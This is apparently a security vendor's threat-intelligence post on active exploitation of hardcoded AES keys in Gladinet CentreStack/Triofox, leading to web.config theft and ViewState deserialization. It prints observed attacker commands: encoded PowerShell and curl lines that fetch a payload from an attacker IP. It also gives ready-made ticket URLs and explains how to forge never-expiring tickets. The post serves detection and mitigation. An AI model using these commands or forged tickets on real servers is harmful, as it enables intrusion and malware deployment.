Active Exploitation of Gladinet CentreStack/Triofox Insecure Cryptography Vulnerability

Acknowledgments: Special thanks to John Hammond for his contributions to this investigation and write-up.

Update #2: 12/18/25 @ 6pm ET

We’ve seen reports from other intelligence firms that note that the cl0p ransomware group is targeting internet-facing Gladinet CentreStack servers. It is still early and we can’t fully confirm if this behavior definitively stems from cl0p. However, we continue to monitor for potential Gladinet exploitation. Most recently, we observed two new incidents on December 15.

Based on the available telemetry, both of these incidents involved suspected Gladinet CentreStack exploitation. 

As seen in Figure 1 below, both incidents involved the same indicators involving a PowerShell command, which was  executed via w3wp.exe: 

"C:\Windows\System32\cmd.exe" /c powershell -e SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAaAB0AHQAcAA6AC8ALwAxADgANQAuADEAOQA2AC4AMQAxAC4AMgAwADcAOgA4ADAAMAAwAC8AYwBvAG4AcQB1AGUAcgBvAHIALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAYwBvAG4AcQB1AGUAcgBvAHIALgBlAHgAZQA= 

The decoded base64 reveals the following: 

Invoke-WebRequest http://185.196.11.207:8000/conqueror.exe -OutFile C:\Users\Public\conqueror.exe

Figure 1: Process tree for detected PowerShell command execution on Dec. 15 across two incidents

In one of the incidents, after the payload was retrieved from hxxp[://]185.196.11[.]207:8000/conqueror.exe/, it was saved as C:\Users\Public\conqueror.exe before it was executed. From there, the threat actor executed several commands related to standard host enumeration through conqueror.exe. 

In the other incident, we also saw the download and execution of conqueror.exe via the same IP address and same command. Additionally, we saw the threat actor execute a PowerShell command (powershell -e YwB1AHIAbAAgAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAxADkANgAuADEAMQAuADIAMAA3ADoAOAAwADAAMAA=) that reveals the following in cleartext: curl http://185.196.11.207:8000

Unfortunately, the conqueror.exe was no longer present on the file system for us to analyze further. We uncovered the SHA256 hash e9fa82d92d826c6a1c38165fe6bd610d3b80cd5d53ec65ac3fe94393be64b5a5 but at the time of writing this was not found on VirusTotal. The open directory presumably hosted at 185.196.11[.]207:8000 is no longer online and we have not yet uncovered any artifacts from it by other intelligence solutions. 

Additionally, we observed invocation of the quser.exe command, and the threat actor listing the Huntress installation directory. From Windows event logs, Event ID 1316 from the Application EVTX, we observed 146.70.134[.]50 as the malicious IP address that began the attack leveraging the ViewState deserialization vulnerability by CVE-2025-30406. 

At present, we cannot say definitively that this is exploitation by the cl0p ransomware gang, but considering the timing of this reporting, we felt it was prudent to share this recent threat intel. We are continuing the hunt and monitoring for further Gladinet exploitation.

------------------------------------------------------

Update #1: 12/12/25 @ 4pm ET

A CVE has now been assigned to this Gladinet CentreStack and Triofox vulnerability, with a CVSS score of 7.1 out of 10: CVE-2025-14611.

------------------------------------------------------

Original blog published 12/10/25

TL;DR: The AES implementation of Gladinet’s CentreStack and Triofox products contains hardcoded cryptographic keys. Threat actors can potentially abuse this as a way to access the web.config file, opening the door for deserialization and remote code execution. We are seeing attackers target this flaw across our customer base; organizations that are using CentreStack/Triofox should update to the latest version, 16.12.10420.56791.

Background

On December 2nd, the Huntress support team received an email outreach from a team that had seen our previous and prior posts surrounding Gladinet CentreStack and Triofox technologies. They expressed they are a Gladinet customer and had received a notification from the company on November 30 regarding a new security issue, and were advised to immediately update to the latest build version at the time, which was released November 29. Gladinet provided this customer with multiple Indicators of Compromise (IoCs), including the following requests (note: see our “Mitigations” section below for an important caveat about these IoCs and for more information about how to most accurately utilize these indicators).

/storage/filesvr.dn t=vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL%7C372varAu

/storage/filesvr.dn t=vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsukOQzFIwOzIHswJBdS7w0RY

/storage/filesvr.dn t=t=vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m4mxEjYeJuI6Nk:xBHQQ1c6Hzjx3OsG4T044CP5qZ9Qr

Upon closer inspection of these requests, we were able to identify the root cause of the vulnerability behind this security advisory and better understand how it could potentially be used in an attack. 

Huntress Observations

The Vulnerability 

filesvr.dn is a custom HTTP Handler defined in the server's web.config and mapped to the GladinetStorage.FileDownloadHandler class. The handler listens for a query parameter named t. This parameter is an encrypted "Access Ticket" designed to carry all necessary authorization data and the file being requested in a single string.

When the CentreStack server application (IIS Worker Process) first starts, it needs to generate cryptographic information for encrypting/decryption. The SysKeyMgr class calls AccessKeyMgr64.GetSysEncKey, which passes the current system time (DateTime.Now.ToString()) to an external function, GenerateSecKey, located in GladCtrl64.dll. The .dll returns two 100-byte strings that are loaded into memory:

• SysKeyMgr.SysKey: The source of the 32-byte AES Encryption Key.

• SysKeyMgr.SysKey1: The source of the 16-byte Initialization Vector (IV).

When the filesvr.dn handler receives the t parameter, it first performs a custom sanitization, swapping URL-safe characters (replacing : with + and | with /) then a Base64 decoding. The handler then calls AccessTicket.Decrypt. This method retrieves the first 32 bytes of the static SysKey and the first 16 bytes of SysKey1 to configure an AES-256 decryption provider. Because these keys are derived from the generated 100-byte strings, any ticket encrypted with these specific bytes is trusted by the system.

Once decrypted, the ticket reveals a plain-text string containing 4 mandatory newline-separated fields (there are optional fields for DomainID and UserID):

1. Filepath: The absolute path to the file on the server's disk.
2. Username: The Windows account to impersonate.
3. Password: The credentials for that account.
4. Timestamp: The creation time of the ticket.

It parses the Timestamp and compares it to the current server time. If the ticket is older than 4 hours, the request is rejected. If the timestamp is valid, the handler initializes an Impersonation context using the Username and Password from the ticket. If valid credentials are provided, the server accesses the file system as that specific user.

Upon debugging the running process, we discovered that the GenerateSecKey, located in GladCtrl64.dll returns the exact same 100-byte text strings.

• The Key Source: A static string of Chinese text.

• The IV Source: A static string of Japanese marketing text.

Because these keys never change, we could extract them from memory once and use them to decrypt any ticket generated by the server or worse, encrypt our own.

Decrypting the examples provided:

/storage/filesvr.dn t=vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL%7C372varAu

We were able to see the request being made:

[0] C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[1]
[2]
[3] 9999-11-27 14:52:04.009217

Line [0]

As previously stated here, the attacker can obtain the machine keys from:

C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config

They can be leveraged to abuse the ASPX ViewState, a mechanism used to preserve the state of a web page and its controls between multiple HTTP requests. The machine keys open the door for a very standard and well-researched attack technique with ViewState deserialization.

Line [1],[2]

The Username and Password fields were left blank. The code uses these fields to initialize an Impersonation context. When passed empty strings, it appears the impersonation logic fails and potentially falls back to the IIS Application Pool Identity.

Line [3]

The attacker set the timestamp to the year 9999. This creates a ticket that never expires. The attacker can reuse this exact URL indefinitely to download the server's configuration.

Exploitation Activity 

As of December 10, we have seen nine organizations that have been impacted by this vulnerability. These businesses ranged across different sectors, from healthcare to technology. The threat actor connected from IP address 147.124.216[.]205 and attempted to use the exploit (CVE-2025-11371) followed by the new exploit to obtain the web.config file containing the machine key. Once the attacker was able to obtain the keys, they performed a viewstate deserialization attack and then attempted to retrieve the output of the execution which failed.

Figure 2: Excerpt from IIS logs highlight recent attack

Figure 3: Windows Application Event Log captures the ViewState error containing the encoded payload

Figure 4: Decoded Base64 payload

Mitigation Guidance

On November 29, Gladinet released a new build number for CentreStack and Triofox before advising customers on November 30 of a new security update. The latest release on Gladinet's CentreStack website as of December 8 is version 16.12.10420.56791. We recommend that potentially impacted Gladinet customers update to this latest version immediately and ensure that the machineKey is rotated (further instructions are available here).

Additionally, organizations can scan their logs for the string provided below, which is the encrypted representation of the web.config file path: 

vghpI7EToZUDIZDdprSubL3mTZ2 

Notably, this is the most accurate piece of the string to use from the IoCs listed by Gladinet above. That’s because the full string includes an arbitrary date value, which is variable and may be an unreliable indicator for organizations. 

On our end, Huntress is monitoring for malicious activity related to this vulnerability, and our detectors are in place.

Indicators of Compromise (IOCs)